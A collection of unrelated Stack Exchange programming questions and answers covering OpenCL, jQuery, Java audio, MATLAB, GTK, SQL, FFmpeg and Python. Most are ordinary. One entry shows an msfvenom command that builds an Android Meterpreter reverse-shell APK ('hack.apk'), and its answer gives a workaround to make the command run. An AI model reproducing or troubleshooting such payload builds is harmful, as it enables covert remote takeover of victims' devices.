text:
Q: Restrict number of GPUs for AMD OpenCL Is there a solution to restrict the used number of GPUs for AMD OpenCL platforms? For NVIDIA platforms one can simply set the environment variable CUDA_VISIBLE_DEVICES to limit the set of GPUs available to OpenCL.
EDIT: I know, that I can create a context with a reduced set of devices. However, I am looking for ways to control the number of devices for the OpenCL platform from "outside".

A: AMD have the GPU_DEVICE_ORDINAL environment variable for both Windows and Linux. This allows you to specify the indices of the GPUs that you want to be visible from your OpenCL application. For example:
jprice@nowai:~/benchmark$ python benchmark.py -clinfo

Platform 0: AMD Accelerated Parallel Processing
 -> Device 0: Tahiti
 -> Device 1: Tahiti
 -> Device 2: Intel(R) Core(TM) i5-3550 CPU @ 3.30GHz

jprice@nowai:~/benchmark$ export GPU_DEVICE_ORDINAL=0
jprice@nowai:~/benchmark$ python benchmark.py -clinfo

Platform 0: AMD Accelerated Parallel Processing
 -> Device 0: Tahiti
 -> Device 1: Intel(R) Core(TM) i5-3550 CPU @ 3.30GHz

A more detailed description can be found in the AMD APP OpenCL Programming Guide (currently in section 2.4.3 "Masking Visible Devices"):
http://developer.amd.com/wordpress/media/2013/07/AMD_Accelerated_Parallel_Processing_OpenCL_Programming_Guide-rev-2.7.pdf

A: OpenCL host  APIs  allow you to specify the the the number of devices  when you get the device ids  list
_int clGetDeviceIDs(
    cl_platform_id platform,
    cl_device_type device_type,
    cl_uint num_entries,  //  Controls the minimum  number of devices
    cl_device_id *devices,
    cl_uint *num_devices)

The device id pointer *devices can be used to create the context with a specific number of devices.
Here is what the spec says

num_entries is the number of cl_device entries that can be added to
  devices. If devices is not NULL, the num_entries must be greater than
  zero. devices returns a list of OpenCL devices found. The cl_device_id
  values returned in devices can be used to identify a specific OpenCL
  device. If devices argument is NULL, this argument is ignored. The
  number of OpenCL devices returned is the minimum of the value
  specified by num_entries or the number of OpenCL devices whose type
  matches device_type. num_devices returns the number of OpenCL devices
  available that match device_type. If num_devices is NULL, this
  argument is ignored

cl_context clCreateContext(
    const cl_context_properties *properties,
    cl_uint num_devices,   // Number of devices
    const cl_device_id *devices,
    (voidCL_CALLBACK  *pfn_notify) (
        const char *errinfo,
        const void *private_info, size_t cb,
        void *user_data
    ),
    void *user_data,
    cl_int *errcode_ret)

Each device is then addressed through its own device queue.

A: There is not a portable solution defined by the OpenCL specification.
NVIDIA has the solution you mentioned. I don't think AMD has a standard; your OpenCL programs will have to come up with a way to share the available devices.
Note that AMD does have OpenCL extensions (some of which have become more official in OpenCL 1.2) for "device fission" which is used for splitting up a single device among multiple programs (but that is different than what you are asking).


text:
Q: Input tag with initial value but changeable I'm working on an edit implementation - how can I set a default value for an input but can still be changed to be saved on the database using jQuery? Is it even possible? Thanks a lot.
EDIT: Initially, if I load the page for editing, there should be an initial value retrieved from the database depending on which id am I currently iterating. But then I have an option to change the input and should replace the old value retrieved from the database
here's the code

            Button Label <input
            type="text" class="form-control" id="vpDonateButtonLabel"
            name="volunteerProject.donateButtonLabel"
            placeholder="Enter button label" maxlength="50" value="${volunteerProject.donateButtonLabel}" required />

it displays what I'm expecting when I first load the page. After I have inputted a new value, then clicking save, and open the page again, it still shows what I have written in value. Sorry, I am very new to JavaScript and having a really hard time learning it.

A: You can just populate the value, then they can edit it
$('#inputId').val('default value')

redpajama_set_name: RedPajamaStackExchange


text:
Q: Sequentially playing audio clips Hy, I want to play a string of numbers as an audio track in a java application. I got audio tracks for all numbers (0-9). The input is an array of Strings. Each string contains 1 number. I use a Hashmap to map each string to an audio clip.
All input strings reference a valid audio file. The problem does not concern finding the right tracks. My problem lies with playing them one after the other.
I use a recursive function for this (see the code below). The ClipEndListener has a very simple implementation of the update function and will start the next part once the previous part has finished.
import java.util.HashMap;
import java.util.Map;
import javax.sound.sampled.AudioInputStream;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.Clip;
import javax.sound.sampled.LineEvent;
import javax.sound.sampled.LineEvent.Type;
import javax.sound.sampled.LineListener;

public class AuditivePlayer {
    public static final Map<String, AudioInputStream> MULT_SAMPLES = new HashMap<String, AudioInputStream>();
    static {
        try {
            MULT_SAMPLES.put("0", AudioSystem.getAudioInputStream(Cloud.class.getResource("/sounds/0.wav")));
            MULT_SAMPLES.put("1", AudioSystem.getAudioInputStream(Cloud.class.getResource("/sounds/1.wav")));
            MULT_SAMPLES.put("2", AudioSystem.getAudioInputStream(Cloud.class.getResource("/sounds/2.wav")));
            /* ... */
        } catch(Exception e) {
            /* catching exception */
        }
    }

    private String[] parts;
    private int index;
    private Clip currentClip;

    public void playArray(String[] parts) {
        index = 0;
        this.parts = parts;
        playPart();
    }

    private void playPart() {
        if (index == parts.length)
            return;

        try {
            currentClip = AudioSystem.getClip();
            currentClip.open(MULT_SAMPLES.get(parts[index]));
            System.out.println("playing part: " + index + " ("+ parts[index] +").");
            index++;
            currentClip.addLineListener(new ClipEndListener());
            currentClip.start();
        } catch (Exception ex) {
            System.err.println(ex.getMessage());
            ex.printStackTrace();
        }
    }

    private class ClipEndListener implements LineListener {
        @Override
        public void update(LineEvent event) {
            if (event.getType() == Type.STOP)
                playPart();
        }
    }
}

This seems ok to me, and it works for the first array of strings. Unfortunately, when getting new arrays of strings (playArray is called for the second time), it only plays one or two parts, instead of the entire array.
Any suggestions why this could be?
Thanks


text:
Q: How to make cumsum this matrix A= [ 1 2 4
     2 3 1
     3 1 2 ]

so that the answer from above matrix should be:
B = [ 1  3  7
      9 12 13
     16 17 19 ]

thanks

A: Fiddling with cumsum and reshape can get you there:
B = reshape(cumsum(reshape(A', 1, [])), size(A))'
%# Equivalent to: B = A'; B = reshape(cumsum(B(:)), size(A))'

This yields:
B =

     1     3     7
     9    12    13
    16    17    19


text:
Q: Wordle Clone & Local Storage: Uncaught TypeError: Cannot set properties of null (setting 'innerHTML') In creating a themed Wordle clone for my site, I want to use Local Storage to preserve a user's game state. For the most part, I think I have achieved this – but am currently encountering an Uncaught TypeError: Cannot set properties of null (setting 'innerHTML') error that I can't get to the bottom of.
The impact of this error is that, on refresh during an 'active' game, the keyboard refuses to render – and the game's tiles expand to the width the keyword would've been. The error message suggests that it can't match with an ID within the HTML, but I've checked this and the getElementByID matches up with the div class of game-keyboard.
The (relevant part of the) JS code is...
(full JS code can be found here)
const storedKeyboardContainer =
        window.localStorage.getItem("keyboardContainer");
      if (storedKeyboardContainer) {
        document.getElementById("game-keyboard").innerHTML =
          storedKeyboardContainer;

        addKeyboardClicks();
      }

and
function preserveGameState() {
      window.localStorage.setItem("guessedWords", JSON.stringify(guessedWords));

      const keyboardContainer = document.getElementById("game-keyboard");
      window.localStorage.setItem(
        "keyboardContainer",
        keyboardContainer.innerHTML
      );

      const boardContainer = document.getElementById("game-container");
      window.localStorage.setItem("boardContainer", boardContainer.innerHTML);
    }

The error message I am receiving ...
Uncaught TypeError: Cannot set properties of null (setting 'innerHTML')
    at loadLocalStorage (borodle.js:3:158)
    at HTMLDocument.<anonymous> (borodle.js:1:1547)

The HTML element that houses the keyboard...

                        <button class="keyboard-button" data-key="q">q</button>
                        <button class="keyboard-button" data-key="w">w</button>
                        <button class="keyboard-button" data-key="e">e</button>
                        <button class="keyboard-button" data-key="r">r</button>
                        <button class="keyboard-button" data-key="t">t</button>
                        <button class="keyboard-button" data-key="y">y</button>
                        <button class="keyboard-button" data-key="u">u</button>
                        <button class="keyboard-button" data-key="i">i</button>
                        <button class="keyboard-button" data-key="o">o</button>
                        <button class="keyboard-button" data-key="p">p</button>

                        <button class="keyboard-button" data-key="a">a</button>
                        <button class="keyboard-button" data-key="s">s</button>
                        <button class="keyboard-button" data-key="d">d</button>
                        <button class="keyboard-button" data-key="f">f</button>
                        <button class="keyboard-button" data-key="g">g</button>
                        <button class="keyboard-button" data-key="h">h</button>
                        <button class="keyboard-button" data-key="j">j</button>
                        <button class="keyboard-button" data-key="k">k</button>
                        <button class="keyboard-button" data-key="l">l</button>

                        <button class="keyboard-button" data-key="enter" class="wide-button">Enter</button>
                        <button class="keyboard-button" data-key="z">z</button>
                        <button class="keyboard-button" data-key="x">x</button>
                        <button class="keyboard-button" data-key="c">c</button>
                        <button class="keyboard-button" data-key="v">v</button>
                        <button class="keyboard-button" data-key="b">b</button>
                        <button class="keyboard-button" data-key="n">n</button>
                        <button class="keyboard-button" data-key="m">m</button>
                        <button class="keyboard-button" data-key="del" class="wide-button">DEL</button>

I used a tutorial to build the initial game and then a second part to incorporate local storage for the preservation of the game state. Is there a fundamental error in the JS code (which I ended up amalgamating) – or is it perhaps related to the order in which elements are executed as suggested here?

A: The problem now appears to be solved. After reviewing the JS file several times, I found a mis-labelled attribute. After changing this, the issue (and error message) is no longer present.


text:
Q: Partitions of a number r is equal to partitions of a number n-r
Give a proof using Generating functions: let $n$ and $k$ be positive integers with $k\leq n$. Show that the number of partitions ($\lambda$) of $n$ in which $\lambda_1 = k$ is equal to the number of partitions $q$ of $r$ where $r=n-k$ in which $q_i\leq k \ \forall i$

I understand that this can be done easily using a bijection and Ferrer's diagrams and adding a top row of size $k$ (for $q$) and removing a top row of size $k$ (to get $\lambda$), but I can't find out how to do this using generating functions.


text:
Q: VSTO - Outlook 2007 - Display form before send message? I'm new to Outlook add-in programming and not sure if this is possible:
I want to display a pop-up form (or selection) and ask for user input at the time they click Send. Basically, whenever they send out an email (New or Reply), they will be asked to select a value in a dropdown box (list items from a SQL database, preferrably).
Base on their selection, a text message will be appended to the mail's subject.

I did my research and it looks like I should use Form Regions but I'm not sure how can I display a popup/extra form when user click Send.
Also, it looks like Form Regions can be used to extend/replace current VIEW mail form but can I use it for CREATE NEW form?
Thanks for everybody's time.

A: You can probably add the Item Send event handler in the ThisAddIn Internal Startup method and then in the Item Send Event, call the custom form (a windows form).
In the below sample I call a custom windows form as modal dialog before the email item is send and after the send button is clicked.
private void InternalStartup()
{
    this.Application.ItemSend += new ApplicationEvents_11_ItemSendEventHandler(Application_ItemSend);
}

void Application_ItemSend(object Item, ref bool Cancel)
{
    if (Item is Microsoft.Office.Interop.Outlook.MailItem)
    {
        Microsoft.Office.Interop.Outlook.MailItem currentItem = Item as Microsoft.Office.Interop.Outlook.MailItem;
        Cancel = true;
        Forms frmProject = new ProjectForm();;

        DialogResult dlgResult = frmProject.ShowDialog();

        if (dlgResult == DialogResult.OK)
            System.Windows.Forms.SendKeys.Send("%S"); //If dialog result is OK, save and send the email item
        else
            Cancel = false;

        currentItem.Save();
        currentItem = null;
    }
}


text:
Q: total_pages error will_paginate error, legacy app I have the following code
view (global partial code)
<% if @paging.total_pages > 1 %>

      <%= will_paginate @paging, previous_label: h('«'), next_label: h('»'), outer_window: 8  %>

      Go to page
        <%= text_field_tag params[:page], params[:page], class: 'nav-input form-input-sm', onchange: "if(this.value){window.location='?page='+this.value;}" %> / <%= @paging.total_pages %>

      Show
      <%= select_tag :per_page, options_for_select([25, 50, 100], params[:per_page].to_i), class: 'customSelect nav-input form-input-sm', onchange: "if(this.value){window.location='?per_page='+this.value;}" %>

<% end %>

We have a global partial, so we have the following in each view @paging = @order_pages ie orders/index.html.erb and I have the following in the controller.
def index
  @order_pages, @orders = SalesOrder.paginate(page: params[:page], per_page: @per_page)
end

However, when loading the page I get the following, undefined method 'total_pages' for nil:NilClass
This is a legacy app, so I'm trying to fix the pagination as is and refactor it later as this is affecting 110 pages.
I have refactored the pagination for it to be more streamlined, so just trying to find a decent solution to get it working on the global partial.


text:
Q: C and GTK Passing parameters The following program will not compile. I've reduced the code down to this simple program. I've posted the compile command and its output.
#include <gtk/gtk.h>

void update_label(GtkLabel *glab);

void update_label(GtkLabel *glab)
{
}

int main(int argc, char *argv[])
{
  GtkWidget *lbl;

  gtk_init(&argc, &argv);

  lbl = gtk_label_new("Hi");

  update_label(lbl);

  gtk_main();

  return 0;
}

The compiler output is:
graeme@graeme-HP-xw4300-Workstation ~/c/label $ gcc `pkg-config --cflags gtk+-3.0` my04.c -o my04 `pkg-config --libs gtk+-3.0`
my04.c: In function 'main':
my04.c:17:3: warning: passing argument 1 of 'update_label' from incompatible pointer type [enabled by default]
   update_label(lbl);
   ^
my04.c:5:6: note: expected 'struct GtkLabel *' but argument is of type 'struct GtkWidget *'
 void update_label(GtkLabel *glab)
      ^

A: You declare update_label as accepting GtkLabel* argument:
void update_label(GtkLabel *glab);

On the other hand, you pass it argument lbl which is of type GtkWidget*:
GtkWidget *lbl;
(...)
update_label(lbl);

That's why compiler raises error "passing argument 1 of 'update_label' from incompatible pointer type", and even explains it further:
my04.c:5:6: note: expected 'struct GtkLabel *' but argument is of type 'struct GtkWidget *'
 void update_label(GtkLabel *glab)

To solve this, you have to upcast lbl to GtkLabel*, as that variable points to object which is really a GtkLabel:
update_label(GTK_LABEL(lbl));

https://developer.gnome.org/gobject/stable/gtype-conventions.html

A: For GTK in C you need a lot of pointer conversions.
For some reason all creator functions return GtkWidget* but all the related modifier functions require proper pointers to GtkLabel* etc..
For this purpose GTK provides typecast macros.
You can use GTK_LABEL() macro to convert your pointer.
For other types of widgets you have GTK_WINDOW, GTK_MENU_ITEM and much more such macros.
This is rather annyoing in first place.
When it comes to functions from an interface or from parent object "class" (not really OO classes) you need to pick the correct type and cast apropriately anyway.


text:
Q: Can I get historical info from the API? I'm making a statistics display for one of the beta sites I'm active on. Unfortunately, the API's /info method only gives me the current data. I'm currently calling the method every so often and storing the response in a SQL db, but it would be nice to have some older data preloaded into the system.
Is there any way to do this?


text:
Q: Is there a reason to keep common hybrids around? My park has just run out of room for habitats, so I'm wondering if I should sell my common hybrids for room for more rare hybrids, or if there is a purpose in keeping them.

A: Common hybrids are pretty easy to breed so you can easily sell them, the benefit to keeping them is for upgrading the element statues that track your dragons (they upgrade at 50 owned level 10/15 dragons and again with an elder dragon) the statue will keep track or the dragon even if you sell them but unless every stage is unlocked you'll have to relevel new dragons to the same level.
You can store dragons in the hibernation chamber (which can be upgraded to hold more dragons for gems). You and also purchase additional habitats in the habitat menu (at the top of the screen) for a gem cost.


text:
Q: Android Emulator WARNING: every time I compiled the program opens a new emulator
say this error
014-02-16 22:48:10 - Calculator] Android Launch!
[2014-02-16 22:48:10 - Calculator] adb is running normally.
[2014-02-16 22:48:10 - Calculator] Performing com.goldapp.calculator.MainActivity activity launch
[2014-02-16 22:48:11 - Calculator] Automatic Target Mode: Preferred AVD 'dead' is not available. Launching new emulator.
[2014-02-16 22:48:11 - Calculator] Launching a new emulator with Virtual Device 'Dead'
[2014-02-16 22:48:12 - Emulator] WARNING: Data partition already in use. Changes will not persist!
[2014-02-16 22:48:12 - Emulator] WARNING: SD Card image already in use: C:\Users\isrra_000\.android\avd\Dead.avd/sdcard.img
[2014-02-16 22:48:12 - Emulator] WARNING: Cache partition already in use. Changes will not persist!
[2014-02-16 22:48:12 - Calculator] New emulator found: emulator-5556
[2014-02-16 22:48:12 - Calculator] Waiting for HOME ('android.process.acore') to be launched...

A: Please try to check the "Wipe user data" in the AVD and run it. If that won't help end adb process ( alt-ctrl-del --> start task manager and in the process tab find adb.exe to close it). Restart eclipse and it should work then.
If not try navigating to the folder mentioned in the error message (in your case C:\Users\isrra_000.android\avd\Dead.avd/) and (on Windows) there will be several folders whose names end in .lock, delete those and restart your emulator.

A: This happens because Eclipse cannot connect to the running instance of the Emulator. Before running the application from the Eclipse, make sure that the Emulator instance is connectable. To do this:

*

*Switch to DDMS perspective

*Check if the emulator is visible in the list of devices in the Devices tab

*

*If it is not listed, reset adb from the drop down menu on the right side of the Devices tab
It may show some errors while resetting the adb and the adb tries to enumerate the emulators/devices available. You can ignore it and wait for the emulator being shown in the Devices tab. Once it is listed, the application should run without any problem.

A: These warnings are normally displayed when you're trying to run two instances of the same AVD at the same time.
Each instance must have its own writable /data and /sdcard partitions, otherwise really bad things will happen (corruption of data files and general emulated system crashes).
To protect against this, the emulator detects multiple instances of the same AVD, then prints this message, it will also copy the current /data and /sdcard partitions to temporary files that are destroyed when you exit it (this is why it says "Changes will not persist.").
So in the end:

*

*The warnings are here to inform you that you're trying to run the same AVD twice.

*Doing so is safe, but any changes you do in the second AVD will be lost when you
exit the emulator. Any change you perform in the first AVD instance will be saved to
disk though.
If you want to run multiple instances of the same system at the same time, it's better to create several AVDs with the same settings, but different names.


text:
Q: How do i solve msfvenom no options erro? I write this code in termux :
msfvenom -p android/meterpreter/reverse_tcp LHOST=myip LPORT=port -o hack.apk
And in asnswer :
Error : no options
How can i solve?

A: There is an easy fix for this error as per my experience
If you installed metasploit-framework correctly the following workaround WILL work

*

*navigate to the metasploit-framework directory usually, cd ~/metasploit-framework should do the job

*Run the same command using 'ruby' i.e. ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=myip LPORT=port -o hack.apk

*This shall fix the error you mentioned but note that you might have installation errors in metasploit-framework as I have had too


text:
Q: sql and getting elements around a specific one My sql database stores the highscores for the players of a game like this:
playerName
scores

To show the scores I'm trying to create a query that returns for a playerId "joe" the positon of joe as well as one player with more and less points than joe:
(rank) (playerName) (scores)
5000    luci       2001
5001    joe        1900
5002    marc       1750

(I added the rank here just to make it more clear. It isn't stored and represents just the position in the list when sorting by the scores)
Is there a way to do soemthing like this with a query without getting half of the database as result?

A: To determine joe's rank you have to query the db and order by scores.

A: You'd ideally want to be using window functions to do this, namely row_number(), lead() and lag().
These are not available in MySQL, but here are a few workarounds (also row_number(), picked up from the same author).

Using window functions:
with
players as (
select row_number() over w as rank,
       playername,
       scores
from players
window w (order by scores desc)
),
player as (
select rank
from players
where playername = 'joe'
)
select rank,
       playername,
       scores
from players
join player on players.rank between player.rank - 1 and player.rank + 1

Alternatively (slightly faster):
with
player_range as (
select scores - 100 as scores -- or whatever is large enough based on your stats
from players
where playername = 'joe'
),
players as (
select row_number() over w as rank,
       players.playername,
       players.scores
from players
join player_range
on player_range.scores <= players.scores
window w (order by scores desc)
),
player as (
select rank
from players
where playername = 'joe'
)
select rank,
       playername,
       scores
from players
join player on players.rank between player.rank - 1 and player.rank + 1


text:
Q: I need to convert audio files using ffmpeg but i got error I wanna convert an mp3 file to wav file but I can't.
 I try converting mp3 file to other formats too but I always get an error .
Maybe my implementation of FFmpeg has problem if you how to import the FFmpeg library tell me in the comment too.
I search a lot but I can't find solution maybe my FFmpeg command code has a problem. if you know how to deal whit it please help me.
this is my code.
String s = " -i " + musicDbs.get(0).musicPath +" -vn -ar 44100 -b:a 192k "+ dir.getPath();
// s =  -i /storage/emulated/0/Doto30/FX/Pishro_Ft_Hichkas_Divoone.mp3 -vn -ar 44100 -b:a 192k /storage/emulated/0/Doto30/.final_audio.wav
String[]cmd = s.split(" ");
    FFmpeg ffmpeg = FFmpeg.getInstance(context);
    try {
        ffmpeg.loadBinary(new LoadBinaryResponseHandler() {
            @Override
            public void onStart() {
            }

            @Override
            public void onFailure() {
            }

            @Override
            public void onSuccess() {
            }

            @Override
            public void onFinish() {
            }
        });
    } catch (Exception e) {
        Toast.makeText(context, e.getMessage(), Toast.LENGTH_SHORT).show();
    }

    try {
        ffmpeg.execute(cmd, new ExecuteBinaryResponseHandler() {
            @Override
            public void onStart() {
                dialog.show();
            }

            @Override
            public void onProgress(String message) {

            }

            @Override
            public void onFailure(String message) {
                String s1 = message;
                Toast.makeText(context, s1, Toast.LENGTH_SHORT).show();
                dialog.dismiss();

            }

            @Override
            public void onSuccess(String message) {
                Toast.makeText(context, "Build has been successful", Toast.LENGTH_SHORT).show();
                dialog.dismiss();
            }

            @Override
            public void onFinish() {

            }
        });
    } catch (Exception e) {
        Toast.makeText(context, e.getMessage(), Toast.LENGTH_SHORT).show();
    } finally {
        if (ffmpeg.isFFmpegCommandRunning()) {
            ffmpeg.killRunningProcesses();
        }
    }

but i got this error
ffmpeg version n3.0.1 Copyright (c) 2000-2016 the FFmpeg developers
built with gcc 4.8 (GCC)
configuration: --target-os=linux --cross-prefix=/home/vagrant/SourceCode/ffmpeg-android/toolchain-
android/bin/arm-linux-androideabi- --arch=arm --cpu=cortex-a8 --enable-runtime-cpudetect --
sysroot=/home/vagrant/SourceCode/ffmpeg-android/toolchain-android/sysroot --enable-pic --enable-
libx264 --enable-libass --enable-libfreetype --enable-libfribidi --enable-libmp3lame --enable-
fontconfig --enable-pthreads --disable-debug --disable-ffserver --enable-version3 --enable-hardcoded-
tables --disable-ffplay --disable-ffprobe --enable-gpl --enable-yasm --disable-doc --disable-shared -
-enable-static --pkg-config=/home/vagrant/SourceCode/ffmpeg-android/ffmpeg-pkg-config --
prefix=/home/vagrant/SourceCode/ffmpeg-android/build/armeabi-v7a --extra-cflags='-
I/home/vagrant/SourceCode/ffmpeg-android/toolchain-android/include -U_FORTIFY_SOURCE -
D_FORTIFY_SOURCE=2 -fno-strict-overflow -fstack-protector-all' --extra-ldflags='-
L/home/vagrant/SourceCode/ffmpeg-android/toolchain-android/lib -Wl,-z,relro -Wl,-z,now -pie' --extra-
libs='-lpng -lexpat -lm' --extra-cxxflags=
libavutil      55. 17.103 / 55. 17.103
libavcodec     57. 24.102 / 57. 24.102
libavformat    57. 25.100 / 57. 25.100
libavdevice    57.  0.101 / 57.  0.101
libavfilter     6. 31.100 /  6. 31.100
libswscale      4.  0.100 /  4.  0.100
libswresample   2.  0.101 /  2.  0.101
libpostproc    54.  0.100 / 54.  0.100
[mp3 @ 0xf6829000] Skipping 0 bytes of junk at 116058.
[mjpeg @ 0xf687e400] Changing bps to 8
[mp3 @ 0xf6829000] Estimating duration from bitrate, this may be inaccurate
Input #0, mp3, from '/storage/emulated/0/Doto30/FX/Pishro_Ft_Hichkas_Divoone.mp3':
Metadata:
  album_artist    : [3DaMusic.Ir]
  album           : [3DaMusic.Ir]
  artist          : [3DaMusic.Ir]
  composer        : [3DaMusic.Ir]
  disc            : [3DaMusic.Ir]
  genre           : [3DaMusic.Ir]
  title           : [3DaMusic.Ir]
  lyrics-eng      : [3DaMusic.Ir]
  track           : 1865
  encoded_by      : [3DaMusic.Ir]
  TOPE            : [3DaMusic.Ir]
  copyright       : [3DaMusic.Ir]
  TIT1            : [3DaMusic.Ir]
  date            : 2014
Duration: 00:03:48.08, start: 0.000000, bitrate: 132 kb/s
Stream #0:0: Audio: mp3, 44100 Hz, stereo, s16p, 128 kb/s
Stream #0:1: Video: mjpeg, yuvj444p(pc, bt470bg/unknown/unknown), 530x533, 90k tbr, 90k tbn, 90k tbc
Metadata:
  title           : [www.shiraz-song.ir]
  comment         : Cover (front)
[NULL @ 0xf6829600] Unable to find a suitable output format for ''
: Invalid argument

if you can help me.


text:
Q: Popping a key from dict() safely and in the most idiomatic way if a.) key doesn't exist or b.) key is not validated So, I am wondering. I have the following issue whereby a dictionary popping needs multiple checks and balances before doing something with the popped value.
I know that:

*

*If key exists in dictionary then dict.pop() removes the element with given key from dictionary and return its value.

*If given key doesn't exist in dictionary then it returns the given Default value.

*If given key doesn't exist in dictionary and No Default value is passed to pop() then it will throw KeyError.
So, I felt that 3. I needed to firstly handle the KeyError exception. If it does then pop that key from the dictionary.
Then, 2 if the default is returned, perform no action.
Then if 1, perform some validation as the value needs to match a pre-defined string format (a Regex match for email, using Django's built in from django.core.validators import email_re, if the detail matters).
We have the following:

def some_function():
        try:
            email = account.pop('email', None)
        except KeyError as ex:
            return

        if not email:
            return

        if not email_re.match(email):
            return

        # Get/Update Or Create SurfAccount:
        surf_account, created = SurfAccount.objects.update_or_create(
            email=email,
            defaults=account
        )

        return surf_account, surfer

However, I'm not sure this is the most idiomatic way to perform a pop with validation in conjunction with a KeyError exception handler...because we can run into a TypeError if we call the function as this:
surf_account, surfer = some_function()

Bceause we are just "returning" out when validation fails...
Q.) So, what would be the most idiomatic way to perform such a dictionary popping with validation?

A: dict.pop(key, default) will never raise a KeyError, if the key doesn't exist it just returns the default value. So your try:except: is not useful.
That aside using pop in such a way is fine, especially if you expect that case to be pretty common.
The issue with your second note is that the calling convention of your function is inconsistent, sometimes it returns two results and sometimes it returns none, so it's difficult to use.

*

*common Python idiom would recommend that your function raise an exception in case of an invalid email (whether missing or improper), that way the "happy path" always gets two values returned and the "unhappy path" is an exception handler, just replace your bare return by raising a suitable exception

*if you don't want to raise an exception for some reason, then you need to either change the result to always be a single value (e.g. a dataclass), or you need to change your error cases to return something like None, None (which is itself somewhat risky in a different manner than the current issue, as if some_function() will always pass).

A: If you decide to actually return something, then you should return values according to what is expected to be returned, like:
try:
    email = account.pop('email')  # no default value here, so exception can occur
except KeyError as ex:
    return None, None

However, the better approach is to raise a specific exception:
try:
    email = account.pop('email')
except KeyError as ex:
    raise NoAccountFound() from ex

and let the caller handle it:
try:
    some_function()
except NoAccountFound:
    print("no account found...")


text:
Q: Python - How to add a new column on SQL server & insert rows of lists I want to insert values to SQL Server from python. Here's my code:
for value in rows:
    cursor.execute ("""INSERT INTO Table ([ColumnOne]) VALUES (?)""", value)
cnxn.commit()

In rows , it contains lists (iteration) of rows, something like this:
row 1 contains of lists of float numbers

1.0
  2.0
  1.5
  1.75

..... (in total of 1000 values in a row/column),
And it goes the same with row2, row3, and so on.
But, when I tried to run the code, I have this error

pyodbc.ProgrammingError: ('The SQL contains 1 parameter markers, but
  1000 parameters were supplied', 'HY000')

Is there any way that I could do so the float values are not treated individually or to fix this problem?
I think maybe I should use ','.join statement to make it as string?
Considering I am not good at explaining and new to python, please correct me if i have some mistakes. Thank you.

A: When you attempt to insert multiple table rows in one query, you need to supply a list of values for each row.
For example, the following query would insert two rows:
INSERT INTO Table (ColumnOne) VALUES (1.0), (2.0);

So your python code needs to prepare the correct VALUES part of the query:
for row in rows:
    values = ", ".join(("(?)",) * len(row))
    cursor.execute(f"INSERT INTO Table (ColumnOne) VALUES {values}", row)


text:
Q: Fast multiset containment of lists in python I have a iterator of int's coming from a table lookup, and need to check if their multiset is contained in a given fixed "multiset" ms. Currently, I sort ms in the beginning, and then sort the int's in my iterator and check the multiset containment (of sorted lists) as follows:
vals = sorted(my_vals)
for it in ... :
    test_vals = sorted( i for i in it )
    if is_sublist(test_vals,vals):
        # do stuff

where
def is_sublist(L1,L2):
    m = len(L1)
    n = len(L2)
    i = j = 0
    while j <= n:
        if i == m:
            return True
        elif j == n:
            return False
        a,b = L1[i], L2[j]
        if a == b:
            i += 1
            j+= 1
        elif a > b:
            j += 1
        else:
            return False

*

*Usually, my lists are rather short (1--20 elements)

*I tried to use Counter, but the time disadvantage of its initialization is worse than the time advantage of the containment test.

*I do this ~10^6 times, so I should maybe do it in cython
Any ideas or pointers would be nice -- Thanks! (sorry for clicking the post button too early first...)

A: # edit: second attempt in response to Bakuriu's comment
#
from collections import Counter
from itertools import groupby
multiset = Counter(sorted(vals)) # only create one Counter object
for it in ...:
    grouped = groupby(sorted(it))
    if all(len(list(g)) <= multiset[k] for k, g in grouped):
        # do stuff

from operator import eq
# if you are using Python 2
from itertools import izip as zip
from itertools import starmap

vals = sorted(my_vals)
for it in ...:
    test_vals = sorted(it)
    zipped = zip(test_vals, vals)
    # check if test_vals' multiset is contained
    # in vals' multiset but bale out as soon as
    # non-matching values are found.
    if all(starmap(eq, zipped)):
        # do stuff


text:
Q: Unspecified error in Microsoft.ACE.Oledb.12.0 connection open to read excel file I got a problem with Oledb12.0 connection open to read excel file in VB.NET. It works in local running. But there is unspecified error in running from Server. Connection string to read excel file is as following:
Dim filePath As String = Server.MapPath("~/TempFiles/")
If Not System.IO.Directory.Exists(filePath) Then
    System.IO.Directory.CreateDirectory(filePath)
End If

filePath = String.Concat(FileUpload1.PostedFile.FileName)

Dim excelConnectionString As String = String.Format("Provider=Microsoft.ACE.OLEDB.12.0;Data Source={0};Extended Properties=Excel 8.0", filePath)

Using connection As New OleDbConnection(excelConnectionString)
     Dim command As OleDbCommand = New OleDbCommand("Select * FROM [Sheet1$]", connection)
     connection.Open()

I got the following message when I printout using a label in UI as I can't debug.
message + source + stackTrace
Unspecified errorMicrosoft Access Database Engine at System.Data.OleDb.OleDbConnectionInternal..ctor(OleDbConnectionString constr, OleDbConnection connection) at System.Data.OleDb.OleDbConnectionFactory.CreateConnection(DbConnectionOptions options, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningObject) at System.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup) at System.Data.ProviderBase.DbConnectionFactory.GetConnection(DbConnection owningConnection) at System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) at System.Data.OleDb.OleDbConnection.Open() at massUpdateEmployeeParticular_pgForm.Upload() in D:\Data\Documents\My Projects\trunk\folder\folder\moduleName\pgForm.aspx.vb:line 140
How can I solve this problem?


text:
Q: Problem logging on to SQL Server Manager Studio Express 2005 using Windows Authentication Mode How do I logon to SQL Server Manager Studio Express 2005 using Windows Authentication Mode?  When I try to logon I get the following error message
"A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: SQL Network Interfaces, error: 26 - Error Locating Server/Instance Specified) (.Net SqlClient Data Provider)"
Thank You,
NH

A: Check the server name. If it is your local server, try connecting to server name . or (local), or .\SQLEXPRESS if the server instance is names SQLEXPRESS. If it is a remote server, you may have to enable some network protocols and/or enable remote connections on that server.


text:
Q: CROSS JOIN and updatable model design for Ruby on Rails I am trying to build the multi-level model in rub on rails to allow the following to happen: When a user creates a campaign they will select some categories and some metros from tables Category and Metro. Those selections will then be placed within two tables as campaign_category and campaign_metro. But upon the creation of those entries I wish for then another table to be populated with the permutation of those combinations within that table or a series of tables to allow for linking the campaign, the category and metros selected for a user to set a bid price on.
For example say a user creates a campaign that has id 10 and selects category with id 1 and 2, and metros with id 3 and 4. In the tables campaign_category appears:

and in table campaign_metro appears:

